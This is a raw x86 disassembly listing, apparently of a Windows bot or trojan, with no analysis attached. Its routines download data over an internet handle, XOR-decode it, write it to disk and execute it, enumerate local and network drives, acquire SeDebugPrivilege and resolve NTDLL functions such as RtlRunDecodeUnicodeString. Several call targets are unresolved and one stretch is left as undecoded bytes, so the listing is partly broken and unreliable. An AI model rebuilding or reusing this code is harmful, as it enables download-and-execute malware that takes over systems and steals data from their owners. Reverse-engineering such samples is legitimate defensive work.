adc [ebp-0Ch], edx
call dword_4CB63C
cmp eax, ebx
jl loc_41617B
mov eax, [ebp-4]
cmp eax, ebx
jl loc_41617B
sub [ebp+8], eax
jnz loc_416049
mov edi, [ebp-18h]
loc_4160E6: ; CODE XREF: ___:0041603Ej
push dword ptr [ebp-8]
call near ptr 28005AFh
nop
push dword ptr [ebp-0Ch]
push dword ptr [ebp-10h]
call sub_416922
pop ecx
pop ecx
push eax
push dword ptr [ebp-44h]
call dword_4CB6B0
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset unk_437B70
push eax
call sub_41B886
loc_41611F: ; CODE XREF: ___:00415FF6j
add esp, 14h
loc_416122: ; CODE XREF: ___:0041602Fj
cmp [ebp-50h], esi
jnz short loc_416147
push esi
lea eax, [ebp-3FCh]
push dword ptr [ebp-54h]
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_409A72
add esp, 14h
loc_416147: ; CODE XREF: ___:00416125j
lea eax, [ebp-3FCh]
push eax
call sub_4151AC
cmp edi, esi
pop ecx
jbe short loc_41615F
push edi
call dword_4CB6BC
loc_41615F: ; CODE XREF: ___:00416156j
push dword ptr [ebp-1F8h]
call dword_4CB6BC
push dword ptr [ebp-58h]
call sub_40B412
pop ecx
push esi
nop
call near ptr 288097Dh
loc_41617B: ; CODE XREF: ___:004160C9j
; ___:004160D4j
push esi
mov esi, offset dword_437B58
push dword ptr [ebp-54h]
lea eax, [ebp-0DCh]
push esi
push eax
push dword ptr [ebp-1FCh]
call sub_409A72
push esi
call sub_4151AC
add esp, 18h
push dword ptr [ebp-1F8h]
call dword_4CB6BC
push dword ptr [ebp-58h]
call sub_40B412
pop ecx
push ebx
call near ptr 288097Dh
nop
loc_4161BC: ; DATA XREF: sub_401ACD+7B4o
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_41BB20
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1C0h]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp-8], ebx
mov [eax+1B0h], esi
lea eax, [ebp-2C4h]
push 104h
push eax
call near ptr 2820000h
nop
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-2C4h]
push eax
lea eax, [ebp-2C4h]
push offset dword_429A94
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp-2C4h]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
nop
call near ptr 28B0703h
cmp eax, 0FFFFFFFFh
jnz short loc_416246
push offset unk_437CD4
jmp short loc_41628C
; ---------------------------------------------------------------------------
loc_416246: ; CODE XREF: ___:0041623Dj
push eax
nop
call near ptr 28005AFh
lea eax, [ebp-2C4h]
push offset aAB ; "a+b"
push eax
call sub_41B4C2
pop ecx
cmp eax, ebx
pop ecx
mov [ebp-4], eax
jnz short loc_41626E
push offset unk_437CA4
jmp short loc_41628C
; ---------------------------------------------------------------------------
loc_41626E: ; CODE XREF: ___:00416265j
push dword ptr [ebp-20h]
lea eax, [ebp-1B8h]
push eax
call sub_415BD3
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+8], eax
jnz short loc_41629F
push offset unk_437C84
loc_41628C: ; CODE XREF: ___:00416244j
; ___:0041626Cj
lea eax, [ebp-4C4h]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_41639B
; ---------------------------------------------------------------------------
loc_41629F: ; CODE XREF: ___:00416285j
mov esi, 1000h
loc_4162A4: ; CODE XREF: ___:0041630Aj
push esi
lea eax, [ebp-14C4h]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-14C4h]
push ebx
push esi
push eax
push dword ptr [ebp+8]
call dword_4CB63C
mov edi, eax
cmp edi, ebx
jz loc_41636B
cmp edi, 0FFFFFFFFh
jz short loc_41630C
push dword ptr [ebp-4]
lea eax, [ebp-14C4h]
push edi
push 1
push eax
call sub_41D2B4
add [ebp-8], edi
add esp, 10h
push dword ptr [ebp-8]
call dword_4CB620
mov [ebp-0Ch], eax
push ebx
lea eax, [ebp-0Ch]
push 4
push eax
push dword ptr [ebp+8]
call dword_4CB674
jmp short loc_4162A4
; ---------------------------------------------------------------------------
loc_41630C: ; CODE XREF: ___:004162D4j
lea eax, [ebp-4C4h]
push offset dword_437B58
push eax
call sub_41B886
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_409A72
lea eax, [ebp-4C4h]
push eax
call sub_4151AC
push dword ptr [ebp-4]
call sub_41B05B
add esp, 24h
push dword ptr [ebp+8]
call dword_4CB6BC
push dword ptr [ebp-1Ch]
call sub_40B412
pop ecx
push 1
nop
call near ptr 288097Dh
loc_41636B: ; CODE XREF: ___:004162CBj
mov eax, [ebp-8]
cdq
push edx
push eax
call sub_416922
pop ecx
pop ecx
push eax
lea eax, [ebp-1B8h]
push eax
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-4C4h]
push offset unk_437C58
push eax
call sub_41B886
add esp, 14h
loc_41639B: ; CODE XREF: ___:0041629Aj
cmp [ebp-14h], ebx
jnz short loc_4163C0
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_409A72
add esp, 14h
loc_4163C0: ; CODE XREF: ___:0041639Ej
lea eax, [ebp-4C4h]
push eax
call sub_4151AC
cmp [ebp-4], ebx
pop ecx
jz short loc_4163DB
push dword ptr [ebp-4]
call sub_41B05B
pop ecx
loc_4163DB: ; CODE XREF: ___:004163D0j
cmp [ebp+8], ebx
jbe short loc_4163E9
push dword ptr [ebp+8]
call dword_4CB6BC
loc_4163E9: ; CODE XREF: ___:004163DEj
push dword ptr [ebp-1Ch]
call sub_40B412
pop ecx
push ebx
call near ptr 288097Dh
nop
loc_4163F9: ; DATA XREF: sub_401ACD+6279o
; sub_401ACD+6AB9o
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+8]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp-2CCh]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp-248h]
push esi
push eax
push dword_4CB5D4
call dword_4CB528
cmp eax, esi
mov [ebp-18h], eax
jz loc_416885
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp-148h]
push 40000000h
push eax
nop
call near ptr 28B0703h
cmp eax, edi
mov [ebp-20h], eax
jnb short loc_4164C0
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset unk_437EA0
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_4164A3
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
add esp, 14h
loc_4164A3: ; CODE XREF: ___:00416481j
lea eax, [ebp-510h]
push eax
call sub_4151AC
push dword ptr [ebp-48h]
call sub_40B412
pop ecx
pop ecx
push esi
nop
call near ptr 288097Dh
loc_4164C0: ; CODE XREF: ___:00416461j
xor edi, edi
call near ptr 2830E52h
nop
mov ebx, 7D000h
mov [ebp-4], eax
push ebx
call sub_41B4D5
pop ecx
mov [ebp-1Ch], eax
loc_4164DA: ; CODE XREF: ___:004165ADj
push 200h
lea eax, [ebp-510h]
push esi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+8]
push eax
lea eax, [ebp-510h]
push 200h
push eax
push dword ptr [ebp-18h]
call dword_4CB530
cmp [ebp-34h], esi
jz short loc_41651E
push dword ptr [ebp+8]
lea eax, [ebp-510h]
push eax
call sub_4168EB
pop ecx
pop ecx
loc_41651E: ; CODE XREF: ___:0041650Bj
lea eax, [ebp-24h]
push esi
push eax
lea eax, [ebp-510h]
push dword ptr [ebp+8]
push eax
push dword ptr [ebp-20h]
call near ptr 28A0000h
nop
cmp edi, ebx
jnb short loc_41655C
mov eax, ebx
sub eax, edi
cmp eax, [ebp+8]
jbe short loc_416546
mov eax, [ebp+8]
loc_416546: ; CODE XREF: ___:00416541j
push eax
lea eax, [ebp-510h]
push eax
mov eax, [ebp-1Ch]
add eax, edi
push eax
call sub_41C310
add esp, 0Ch
loc_41655C: ; CODE XREF: ___:00416538j
add edi, [ebp+8]
cmp [ebp-3Ch], esi
jz short loc_416569
cmp edi, [ebp-3Ch]
ja short loc_4165B3
loc_416569: ; CODE XREF: ___:00416562j
cmp dword ptr [ebp-44h], 1
mov eax, edi
jz short loc_416583
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_437E78
jmp short loc_416593
; ---------------------------------------------------------------------------
loc_416583: ; CODE XREF: ___:0041656Fj
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_437E50
loc_416593: ; CODE XREF: ___:00416581j
mov eax, [ebp-48h]
imul eax, 234h
add eax, offset dword_43E360
push eax
call sub_41B886
add esp, 10h
cmp [ebp+8], esi
ja loc_4164DA
loc_4165B3: ; CODE XREF: ___:00416567j
cmp [ebp-3Ch], esi
mov dword ptr [ebp-14h], 1
jz short loc_416608
cmp edi, [ebp-3Ch]
jz short loc_416608
push dword ptr [ebp-3Ch]
lea eax, [ebp-510h]
mov [ebp-14h], esi
push edi
push offset unk_437E24
push eax
call sub_41B886
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
lea eax, [ebp-510h]
push eax
call sub_4151AC
add esp, 28h
loc_416608: ; CODE XREF: ___:004165BDj
; ___:004165C2j
call near ptr 2830E52h
nop
sub eax, [ebp-4]
xor edx, edx
mov ecx, 3E8h
push dword ptr [ebp-20h]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call near ptr 28005AFh
nop
push dword ptr [ebp-1Ch]
call sub_41B0B1
cmp [ebp-38h], esi
pop ecx
jz short loc_416692
lea eax, [ebp-148h]
push eax
call sub_4010AB
cmp eax, [ebp-38h]
pop ecx
jz short loc_416692
push dword ptr [ebp-38h]
mov [ebp-14h], esi
push eax
lea eax, [ebp-510h]
push offset unk_437DFC
push eax
call sub_41B886
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
lea eax, [ebp-510h]
push eax
call sub_4151AC
add esp, 28h
loc_416692: ; CODE XREF: ___:0041663Aj
; ___:0041664Cj
cmp [ebp-14h], esi
jz loc_4168D2
cmp dword ptr [ebp-44h], 1
jz loc_41678D
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_4276B0
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_4276B0
fstp qword ptr [esp]
push offset unk_437DC4
push eax
call sub_41B886
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_41670D
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
add esp, 14h
loc_41670D: ; CODE XREF: ___:004166EBj
lea eax, [ebp-510h]
push eax
call sub_4151AC
cmp dword ptr [ebp-40h], 1
pop ecx
jnz loc_4168D2
push 5
push esi
lea eax, [ebp-148h]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_4CB590
cmp [ebp-30h], esi
jnz loc_4168D2
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset dword_437DA8
push eax
call sub_41B886
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
lea eax, [ebp-510h]
push eax
call sub_4151AC
add esp, 24h
jmp loc_4168D2
; ---------------------------------------------------------------------------
loc_41678D: ; CODE XREF: ___:0041669Fj
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_4276B0
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_4276B0
fstp qword ptr [esp]
push offset unk_437D64
push eax
call sub_41B886
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_4167F5
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
add esp, 14h
loc_4167F5: ; CODE XREF: ___:004167D3j
lea eax, [ebp-510h]
push eax
call sub_4151AC
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_41B590
push 44h
lea eax, [ebp-310h]
pop edi
push edi
push esi
push eax
call sub_41B590
add esp, 1Ch
mov [ebp-310h], edi
lea eax, [ebp-10h]
mov dword ptr [ebp-304h], offset dword_43D7D8
push 1
mov [ebp-2E0h], si
pop edi
push eax
lea eax, [ebp-310h]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp-148h]
push esi
push eax
push esi
mov [ebp-2E4h], edi
nop
call near ptr 2800890h
cmp eax, edi
jnz short loc_416877
call dword_4CB57C
call sub_418359
push esi
nop
call near ptr 77E75CB5h
loc_416877: ; CODE XREF: ___:00416863j
lea eax, [ebp-148h]
push eax
push offset unk_437D30
jmp short loc_416891
; ---------------------------------------------------------------------------
loc_416885: ; CODE XREF: ___:0041643Ej
lea eax, [ebp-248h]
push eax
push offset unk_437D04
loc_416891: ; CODE XREF: ___:00416883j
lea eax, [ebp-510h]
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_4168C5
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A72
add esp, 14h
loc_4168C5: ; CODE XREF: ___:004168A3j
lea eax, [ebp-510h]
push eax
call sub_4151AC
pop ecx
loc_4168D2: ; CODE XREF: ___:00416695j
; ___:0041671Ej ...
push dword ptr [ebp-18h]
call dword_4CB658
push dword ptr [ebp-48h]
call sub_40B412
pop ecx
push esi
nop
call near ptr 288097Dh
; =============== S U B R O U T I N E =======================================
sub_4168EB proc near ; CODE XREF: ___:00416517p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_416907
loc_4168F7: ; CODE XREF: sub_4168EB+1Aj
mov dl, byte_429094
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_4168F7
locret_416907: ; CODE XREF: sub_4168EB+Aj
retn
sub_4168EB endp
; =============== S U B R O U T I N E =======================================
sub_416908 proc near ; CODE XREF: sub_401ACD+5841p
; sub_401ACD+5969p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41D3BE
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_416908 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416922 proc near ; CODE XREF: sub_40F96A+458p
; sub_40F96A+5FDp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_4D3258
push 0
push edi
call sub_41B590
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_416947: ; CODE XREF: sub_416922+5Bj
; sub_416922+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_41D480
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_41D410
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_416985
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_416947
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_416947
; ---------------------------------------------------------------------------
loc_416985: ; CODE XREF: sub_416922+4Bj
dec esi
mov eax, edi
loc_416988: ; CODE XREF: sub_416922+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_416997
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_416988
; ---------------------------------------------------------------------------
loc_416997: ; CODE XREF: sub_416922+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_416922 endp
; =============== S U B R O U T I N E =======================================
sub_4169A1 proc near ; CODE XREF: sub_416B56+51p
; sub_416B56+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CB684
sub eax, 0
jz short loc_4169E4
dec eax
jz short loc_4169DE
dec eax
dec eax
jz short loc_4169D8
dec eax
jz short loc_4169D2
dec eax
jz short loc_4169CC
dec eax
jz short loc_4169C6
mov eax, offset word_437EF4
retn
; ---------------------------------------------------------------------------
loc_4169C6: ; CODE XREF: sub_4169A1+1Dj
mov eax, offset off_437EF0
retn
; ---------------------------------------------------------------------------
loc_4169CC: ; CODE XREF: sub_4169A1+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_4169D2: ; CODE XREF: sub_4169A1+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_4169D8: ; CODE XREF: sub_4169A1+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_4169DE: ; CODE XREF: sub_4169A1+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_4169E4: ; CODE XREF: sub_4169A1+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_4169A1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4169EA proc near ; CODE XREF: sub_416A32+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4CB514
test eax, eax
jz short loc_416A1F
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax
loc_416A1F: ; CODE XREF: sub_4169EA+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_4169EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416A32 proc near ; CODE XREF: sub_416B56+17p
; sub_41AA42+1F3p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_4169EA
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_416B10
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_416B10
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_416B10
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_41D500
push edx
push eax
call sub_416922
pop ecx
mov edi, offset aSkb ; "%sKB"
pop ecx
mov esi, 80h
push eax
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41B980
add esp, 10h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_41D500
push edx
push eax
call sub_416922
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41B980
add esp, 10h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_41D500
push edx
push eax
call sub_416922
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41B980
add esp, 10h
pop ebx
jmp short loc_416B42
; ---------------------------------------------------------------------------
loc_416B10: ; CODE XREF: sub_416A32+2Cj
; sub_416A32+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_118]
pop ecx
push esi
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_98]
pop ecx
push esi
push eax
call sub_41B886
pop ecx
pop ecx
loc_416B42: ; CODE XREF: sub_416A32+DCj
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416A32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416B56 proc near ; CODE XREF: sub_416C28+17p
; sub_416C28+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_416A32
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_41C070
add esp, 10h
test eax, eax
jnz short loc_416BC9
push ebx
push ebx
call sub_4169A1
pop ecx
push eax
push offset unk_437F44
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41B980
add esp, 14h
jmp short loc_416BFD
; ---------------------------------------------------------------------------
loc_416BC9: ; CODE XREF: sub_416B56+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_4169A1
pop ecx
push eax
push offset unk_437F08
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41B980
add esp, 20h
loc_416BFD: ; CODE XREF: sub_416B56+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
lea eax, [ebp+var_500]
push eax
call sub_4151AC
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_416B56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416C28 proc near ; CODE XREF: sub_401ACD+2553p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_416C49
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416B56
add esp, 10h
jmp short loc_416CAA
; ---------------------------------------------------------------------------
loc_416C49: ; CODE XREF: sub_416C28+9j
push esi
push edi
push ebx
push ebx
call dword_4CB58C
lea esi, [eax+2]
push esi
call sub_41B4D5
pop ecx
mov edi, eax
push edi
push esi
call dword_4CB58C
cmp [edi], bl
mov esi, edi
jz short loc_416CA1
loc_416C6D: ; CODE XREF: sub_416C28+77j
push offset aA_1 ; "A:\\"
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_416C90
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416B56
add esp, 10h
loc_416C90: ; CODE XREF: sub_416C28+54j
push esi
call sub_41AFE0
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_416C6D
loc_416CA1: ; CODE XREF: sub_416C28+43j
push edi
call sub_41B0B1
pop ecx
pop edi
pop esi
loc_416CAA: ; CODE XREF: sub_416C28+1Fj
pop ebx
pop ebp
retn
sub_416C28 endp
; ---------------------------------------------------------------------------
byte_416CAD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+689Fo
dd 49CEC81h, 458B0000h, 57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h
dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h, 0FFFFFEECh
dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh, 0FFFFFDE8h
dd 7FA46850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h
dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh, 75FFFFFFh
dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh
dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h
dd 8D5018C4h, 0FFFB6485h, 7F8468FFh, 0E8500043h, 4B06h
dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh, 8D50F475h
dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh
dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h
dd 0E8535959h, 2469BB9h, 5B5E5F90h, 81EC8B55h, 54CECh
dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 0E868FFFFh
dd 5600437Fh, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h
dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h
dd 9A8CBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh, 0E8BD8054h
dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh
dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh
dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh
dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh, 45892CC4h
dd 0BC858D1Ch, 50FFFFFEh, 90FC75FFh, 4F917FE8h, 75C08502h
dd 0FC75FF8Fh, 4D9173E8h, 75FF9002h, 0B8858D14h, 0FFFFFFFDh
dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh
dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh
dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh, 437FCCh
dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh
dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h
dd 50FFFFFEh, 90FAE856h, 8590024Fh, 56B175C0h, 4D90EFE8h
dd 458B9002h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F1A proc near ; DATA XREF: sub_401ACD+1CCFo
var_29C = byte ptr -29Ch
var_9C = dword ptr -9Ch
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
push 1
rep movsd
pop esi
mov [eax+90h], esi
call sub_41A8F4
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_416F59
cmp eax, 2
jz short loc_416F59
push offset unk_4381C0
jmp loc_417098
; ---------------------------------------------------------------------------
loc_416F59: ; CODE XREF: sub_416F1A+2Ej
; sub_416F1A+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419651
pop ecx
test eax, eax
pop ecx
jz loc_417093
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
call near ptr 2850000h
nop
mov esi, dword_4270BC
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_4D449C, eax
call esi
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_4D4490, eax
call esi
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_4D46A0, eax
call esi
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_4D4498, eax
call esi
mov dword_4D4494, eax
call sub_4170EC
test eax, eax
